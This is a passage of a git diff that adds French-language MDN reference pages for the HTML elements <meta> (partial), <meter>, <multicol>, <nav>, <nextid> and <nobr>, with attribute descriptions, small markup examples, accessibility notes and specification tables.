+      <td>Si la valeur est <code>no</code>, l'utilisateur ne pourra pas zoomer sur le document. Par défaut, la valeur est <code>yes</code>.</td>
+     </tr>
+    </tbody>
+   </table>
+
+   <div class="warning"><strong>Attention !</strong>
+
+   <ul>
+    <li>Bien qu'il ne fasse pas partie du standard, cet attribut est utilisé par plusieurs navigateurs mobiles comme Safari Mobile, Firefox pour Mobile ou Opera Mobile.</li>
+    <li>Les valeurs par défaut peuvent être différentes suivant les appareils et les navigateurs.</li>
+    <li>Pour en savoir plus sur l'utilisation faite de cet attribut par Firefox pour Mobile, vous pouvez lire <a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">cet article</a>.</li>
+   </ul>
+   </div>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("scheme")}} {{obsolete_inline}}</dt>
+ <dd>Cet attribut définit le schéma dans lequel la métadonnée est décrite. Un schéma, de la même manière qu'un format, est un contexte permettant d'interpréter correctement la valeur de l'attribut {{htmlattrxref("content", "meta")}}.
+ <div class="warning"><strong>Attention !</strong> Cet attribut a été déprécié et ne doit donc plus être utilisé. Il n'y pas d'attributs ou d'éléments remplaçant sa fonction car cet attribut n'était pas usité.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Selon les attributs qui sont renseignés, la métadonnée peut être de différentes sortes :</p>
+
+<ul>
+ <li>si {{htmlattrxref("name", "meta")}} est renseigné, c'est une <em>métadonnée de document</em> s'appliquant à la page entière,</li>
+ <li>si {{htmlattrxref("http-equiv", "meta")}} est renseigné, c'est une information transmise au serveur web indiquant comment la page doit être servie (<em>pragma directive</em> en anglais),</li>
+ <li>si {{htmlattrxref("charset", "meta")}} est renseigné, c'est une déclaration sur le jeu de caractères, autrement dit l'ensemble de caractères utilisés pour la version sérialisée de la page web,</li>
+ <li>si {{htmlattrxref("itemprop", "meta")}} est renseigné, c'est une métadonnée définie par l'utilisateur, gérée de manière transparente par l'agent utilisateur car la signification de cette métadonnée est spécifique à l'utilisateur. {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- En HTML5 --&gt;
+&lt;meta charset="utf-8"&gt;
+
+&lt;!-- Rediriger la page après 3 secondes --&gt;
+&lt;meta http-equiv="refresh" content="3;url=http://www.mozilla.org"&gt;
+
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Rafraîchir_le_contenu">Rafraîchir le contenu</h3>
+
+<p>Les pages utilisant une valeur de <code>refresh</code> trop petite peuvent ne pas laisser le temps nécessaire à la compréhension aux personnes qui utilisent un lecteur d'écran. Le changement brutal de contenu peut également être source de confusion pour les personnes à faible vision.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_—_Enough_Time_Provide_users_enough_time_to_read_and_use_content">Comprendre les règles WCAG 2.1</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">Comprendre les règles WCAG 3.1</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html">Understanding Success Criterion 2.2.1 W3C Understanding WCAG 2.0</a></em></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html">Understanding Success Criterion 2.2.4 W3C Understanding WCAG 2.0</a></em></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html">Understanding Success Criterion 3.2.5 W3C Understanding WCAG 2.0</a></em></li>
+</ul>
+
+<h3 id="Redimensionner_la_zone_d'affichage_(viewport)">Redimensionner la zone d'affichage (<em>viewport</em>)</h3>
+
+<p>Désactiver la possibilité de zoom avec <code>user-scalable: no</code> empêche les personnes à faible vision de lire et de comprendre le contenu de la page.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 W3C Understanding WCAG 2.0</a></em></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td>Contenu de métadonnées. Si l'attribut {{htmlattrxref("itemprop")}} est utilisé : du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> ou du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th><dfn>Contenu autorisé</dfn></th>
+   <td>Aucun cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th><dfn>Omission de balises</dfn></th>
+   <td>Étant un élément vide, la balise de début doit être présente et la balise de fin doit être absente.</td>
+  </tr>
+  <tr>
+   <th><dfn>Éléments parents autorisés</dfn></th>
+   <td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code> : un élément {{HTMLElement("head")}}. Si l'attribut {{htmlattrxref("http-equiv", "meta")}} n'est pas une déclaration d'encodage, l'élément peut également être au sein d'un élément {{HTMLElement("noscript")}} lui-même contenu par un élément {{HTMLElement("head")}}.<br>
+    <code>&lt;meta name&gt;</code> : tout élément acceptant du contenu de métadonnées.<br>
+    <code>&lt;meta itemprop&gt;</code> : tout élément acceptant du contenu de métadonnées ou du contenu phrasé.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th>Interface DOM</th>
+   <td>{{domxref("HTMLMetaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-meta', '&lt;meta name="referrer"&gt;')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Définition des valeurs et de la sémantique associée pour <code>&lt;meta name="referrer"&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ajout de l'attribut <code>itemprop</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-meta-element', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajout de l'attribut <code>charset</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.4.2', '&lt;meta&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.meta")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux métadonnées :
+  <ul>
+   <li>{{HTMLElement("base")}}</li>
+   <li>{{HTMLElement("head")}}</li>
+   <li>{{HTMLElement("link")}}</li>
+   <li>{{HTMLElement("style")}}</li>
+   <li>{{HTMLElement("title")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/meter/index.html b/files/fr/web/html/element/meter/index.html
new file mode 100644
index 0000000000..4b8cf62da6
--- /dev/null
+++ b/files/fr/web/html/element/meter/index.html
@@ -0,0 +1,152 @@
+---
+title: <meter>
+slug: Web/HTML/Element/Meter
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/meter
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;meter&gt;</code></strong> représente une valeur scalaire dans un intervalle donné ou une valeur fractionnaire.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/meter.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour les autres éléments HTML, cet élément inclut également <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>Cet attribut contient l'attribut <code><strong>id</strong></code> de l'élément {{HTMLElement("form")}} auquel celui-ci est rattaché. Par défaut, il est à l'élément {{HTMLElement("form")}} qui est son plus proche ancêtre.</dd>
+ <dt>{{htmlattrdef("high")}}</dt>
+ <dd>Cet attribut représente la valeur minimale à partir de laquelle la mesure est considérée comme haute. Si cet attribut est défini, il doit s'agir d'un nombre à virgule compris entre les valeurs des attributs <code><strong>min </strong></code>et <code><strong>max</strong></code>. Si l'attribut <code><strong>low</strong></code> est aussi défini, il doit être plus grand que celui-ci.</dd>
+ <dt>{{htmlattrdef("low")}}</dt>
+ <dd>Cet attribut représente la valeur maximale à partir de laquelle la mesure est considérée comme basse. Si cet attribut est défini, il doit s'agir d'un nombre à virgule compris entre les valeurs des attributs <code><strong>min </strong></code>et <code><strong>max</strong></code>. Si l'attribut <code><strong>high</strong></code> est aussi défini, il doit être plus petit que celui-ci.</dd>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>Cet attribut représente la valeur maximale que peut prendre la mesure. Il doit s'agir d'un nombre à virgule; s'il est invalide ou si l'attribut n'est pas défini, sa valeur par défaut est 1.0. Il doit être strictement plus grand que la valeur de l'attribut <code><strong>min</strong></code>.</dd>
+ <dt>{{htmlattrdef("min")}}</dt>
+ <dd>Cet attribut représente la valeur minimale que peut prendre la mesure. Il doit s'agir d'un nombre à virgule; s'il est invalide ou si l'attribut n'est pas défini, sa valeur par défaut est 0.0. Il doit être strictement plus petit que la valeur de l'attribut <code><strong>max</strong></code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("optimum")}}</dt>
+ <dd>Cet attribut représente la valeur idéale pour la mesure. Si cet attribut est défini, il doit s'agir d'un nombre à virgule compris entre les valeurs des attributs <code><strong>min </strong></code>et <code><strong>max</strong></code>. Si la valeur de <code><strong>optimum</strong></code> est inférieure à <code><strong>low</strong></code>, s'il est défini, cela signifie que les valeurs les plus petites sont meilleures; si sa valeur est supérieure à <code><strong>high</strong></code>, s'il est défini, cela signifie que les valeurs les plus grandes sont meilleures; enfin, s'il est compris entre <code><strong>low </strong></code>et <code><strong>high</strong></code>, cela signifie que les extrêmes ne sont pas les meilleures grandeurs.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cette attribut représente la valeur courante de la mesure. Cet attribut est obligatoire.
+ <div class="note">
+ <p><strong>Note d'utilisation</strong> : il est recommandé aux auteurs de dupliquer les valeurs des attributs <strong><code>min</code>, </strong><code><strong>max</strong></code> et <code><strong>value</strong></code> dans le contenu de cet élément de façon à permettre aux navigateurs ne supportant pas l'élément {{ HTMLElement("meter") }} de transmettre ces informations aux utilisateurs. Par exemple :</p>
+
+ <pre class="brush: html">Utilisation de l'espace de stockage:
+&lt;meter value=6 max=8&gt;
+  6 blocs utilisés (sur un total de 8)
+&lt;/meter&gt;</pre>
+ Il n'y a pas de moyen sémantique de décrire l'unité de l'attribut <code><strong>value</strong></code>, néanmoins l'attribut global <code><strong>title</strong></code> peut être utilisé pour cela.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Chauffez le four à
+  &lt;meter min="100" max="250" value="180"&gt;180 degrés&lt;/meter&gt;.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple", 300, 60)}}</p>
+
+<h3 id="Utilisation_de_high_et_low">Utilisation de <code>high</code> et <code>low</code></h3>
+
+<p>On remarquera ici que l'attribut <code>min</code> est absent (ce qui est autorisé), la valeur minimale sera alors 0.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Il a eu
+  &lt;meter low="69" high="80" max="100" value="84"&gt;B&lt;/meter&gt;
+  à son examen.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utilisation_de_high_et_low", 300, 60)}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>, contenu étiquetable</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> ne possédant pas d'élément <code>&lt;meter&gt;</code> parmi ses descendants.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLMeterElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.meter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/multicol/index.html b/files/fr/web/html/element/multicol/index.html
new file mode 100644
index 0000000000..a1bcd53f85
--- /dev/null
+++ b/files/fr/web/html/element/multicol/index.html
@@ -0,0 +1,37 @@
+---
+title: <multicol>
+slug: Web/HTML/Element/multicol
+tags:
+  - Experimental
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/multicol
+---
+<div>{{HTMLRef}}{{non-standard_header}}{{obsolete_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;multicol&gt;</code></strong> était un élement expérimental conçu afin de réaliser des agencements sur plusieurs colonnes.<br>
+ Il n'a jamais eu une traction significative et n'est pas implémenté dans la plupart des navigateurs.</p>
+
+<div class="warning">
+<p><strong>N'utilisez pas cet élément ! </strong>Pour implémenter un agencement sur plusieurs colonnes, vous devez utilisez les élements HTML classiques comme {{HTMLElement("div")}} et les fonctionnalités CSS <a href="/fr/docs/Web/CSS/Colonnes_CSS/Utiliser_une_disposition_multi-colonnes">permettant d'organiser plusieurs colonnes</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.multicol")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Colonnes_CSS">Les colonnes CSS</a> qui doivent être utilisées lorsqu'on souhaite obtenir une disposition avec plusieurs colonnes</li>
+ <li><a href="/fr/docs/Web/CSS/Colonnes_CSS/Utiliser_une_disposition_multi-colonnes">Le guide : Créer des dispositions avec plusieurs colonnes en CSS</a></li>
+</ul>
diff --git a/files/fr/web/html/element/nav/index.html b/files/fr/web/html/element/nav/index.html
new file mode 100644
index 0000000000..8fc113851b
--- /dev/null
+++ b/files/fr/web/html/element/nav/index.html
@@ -0,0 +1,114 @@
+---
+title: '<nav> : l''élément de section de navigation'
+slug: Web/HTML/Element/nav
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/nav
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong>&lt;nav&gt;</strong> représente une section d'une page ayant des liens vers d'autres pages ou des fragments de cette page. Autrement dit, c'est une section destinée à la navigation dans un document (avec des menus, des tables des matières, des index, etc.).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/nav.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément ne possède que <a href="/fr/docs/Web/HTML/Global_attributes">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Tous les liens d'un document ne doivent pas faire partie d'un élément <code>&lt;nav&gt;</code>. Ce dernier est fait pour créer des blocs conséquents contenants des liens de navigations au sein du document. L'élément {{HTMLElement("footer")}} possède souvent différents liens, il n'a pour autant pas besoin d'être dans un élément {{HTMLElement("nav")}}.</li>
+ <li>Un document peut avoir plusieurs éléments {{HTMLElement("nav")}}, par exemple un pour la navigation sur le site et  un autre pour la navigation au sein de la page. L'attribut <code><a href="/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby">aria-labelledby</a></code> pourra être utilisé afin d'améliorer l'accessibilité.</li>
+ <li>Les agents utilisateurs, tels que les lecteurs d'écrans assistant les utilisateurs handicapés, peuvent utiliser cet élément pour déterminer s'il faut omettre ou non le rendu initial du contenu relatif uniquement à la navigation.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;nav class="menu"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#Accueil"&gt;Accueil&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#Apropos"&gt;À propos&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#Contact"&gt;Contact&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_sectionnant">contenu sectionnant</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.nav")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML en relation avec les sections : {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li class="last"><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Plan et section d'un document HTML5</a></li>
+ <li class="last"><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Navigation_Role">ARIA : le rôle <code>navigation</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/nextid/index.html b/files/fr/web/html/element/nextid/index.html
new file mode 100644
index 0000000000..6b2179c76e
--- /dev/null
+++ b/files/fr/web/html/element/nextid/index.html
@@ -0,0 +1,59 @@
+---
+title: '<nextid> : l''élément NeXT ID (Obsolète)'
+slug: Web/HTML/Element/nextid
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/nextid
+---
+<div>{{HTMLRef}}{{Deprecated_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;nextid&gt;</code></strong> est un élément obsolète qui était utilisé par l'outil de conception web NeXT afin de générer automatiquement des attributs {{htmlattrxref("name","a")}}. Cet élément fut l'un des premiers à disparaître du DTD public des versions HTML et est également l'un des premiers éléments HTML les moins compris.</p>
+
+<dl>
+ <dt>HTML "0.a" - valable jusqu'au 10 janvier 1991</dt>
+ <dd>Aucun exemple disponible.</dd>
+ <dt>HTML "0.c" - à partir du 23 janvier 1991 et jusqu'au 23 novembre 1992</dt>
+ <dd>Cette version d'HTML ajoute <code>&lt;NEXTID&gt;</code> en tant que formulaire, non conforme à SGML, simplement utilisé comme valeur numérique.</dd>
+ <dt>HTML "0.d" - à partir du 26 novembre 1992 jusqu'au 4 mai 1993</dt>
+ <dd>Pendant cette période, NeXT et les anciens DTD indiquent que <code>&lt;NEXTID&gt;</code> ne peut prendre qu'un nombre comme valeur pour son attribut <code>N</code>.</dd>
+ <dt>HTML "1.k" - Version 1 (première version officielle)</dt>
+ <dd>Dans le premier brouillon officiel de HTML, <code>&lt;NEXTID&gt;</code> permet d'utiliser un nom dans son attribut plutôt qu'un seul nombre.</dd>
+ <dt>HTML "1.m" - Version 1 (deuxième version)</dt>
+ <dd>Dans le brouillon HTML qui suit, <code>&lt;NEXTID&gt;</code> peut être retiré de l'affichage grâce à une commande SGML.</dd>
+ <dt>HTML Version 2, niveau 1</dt>
+ <dd>L'élément ne peut être inclus dans les éléments {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, {{HTMLElement("select")}} et {{HTMLElement("option")}}.</dd>
+ <dt>HTML Version 2, niveau 1 strict</dt>
+ <dd>Ajoute des exclusions supplémentaires pour les éléments dépréciés.</dd>
+ <dt>HTML Version 2, niveau 2</dt>
+ <dd>La version par défaut, qui permet d'utiliser et d'inclure l'ensemble des éléments et attributs d'HTML 2.</dd>
+ <dt>HTML Version 2, niveau 2 strict</dt>
+ <dd>Cette version exclut les éléments dépréciés et interdit d'utiliser certaines constructions (comme l'inclusion d'un titre (<code>&lt;h1-h6&gt;</code>) dans un lien ({{HTMLElement("a")}} ou des champs de saisie {{HTMLElement("input")}} qui ne soient pas des éléments de bloc).</dd>
+ <dt>HTML Version 3.2</dt>
+ <dd><code>&lt;NEXTID&gt;</code> disparaît du DTD.</dd>
+</dl>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar de l'ensemble des éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels/">les attribus universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("n")}}</dt>
+ <dd>Une référence à une ancre.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.nextid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("isindex")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/nobr/index.html b/files/fr/web/html/element/nobr/index.html
new file mode 100644
index 0000000000..9cf0835cee
--- /dev/null
+++ b/files/fr/web/html/element/nobr/index.html
@@ -0,0 +1,52 @@
+---
+title: '<nobr> : l''élément de non-rupture de texte (obsolète)'
+slug: Web/HTML/Element/nobr
+tags:
+  - Element
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Web
+translation_of: Web/HTML/Element/nobr
+---
+<div>{{HTMLRef}}{{obsolete_header}}{{non-standard_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;nobr&gt;</code></strong> évite qu'un texte soit coupé par un retour à la ligne automatique ; il est donc affiché sur une seule ligne. Il peut être alors nécessaire d'utiliser les barres de défilement pour lire le texte en intégralité.</p>
+
+<div class="blockIndicator warning">
+<p>Cet élément n'est pas standard en HTML et ne doit donc pas être utilisé. <strong>C'est la propriété CSS {{cssxref("white-space")}} doit être utilisée à la place</strong>, de cette manière :</p>
+</div>
+
+<pre class="brush: html">&lt;span style="white-space: nowrap"&gt;Un texte long sans retour à la ligne.&lt;/span&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "obsolete.html#nobr", "&lt;nobr&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Rendu obsolète et remplacé par {{CSSxRef("white-space")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
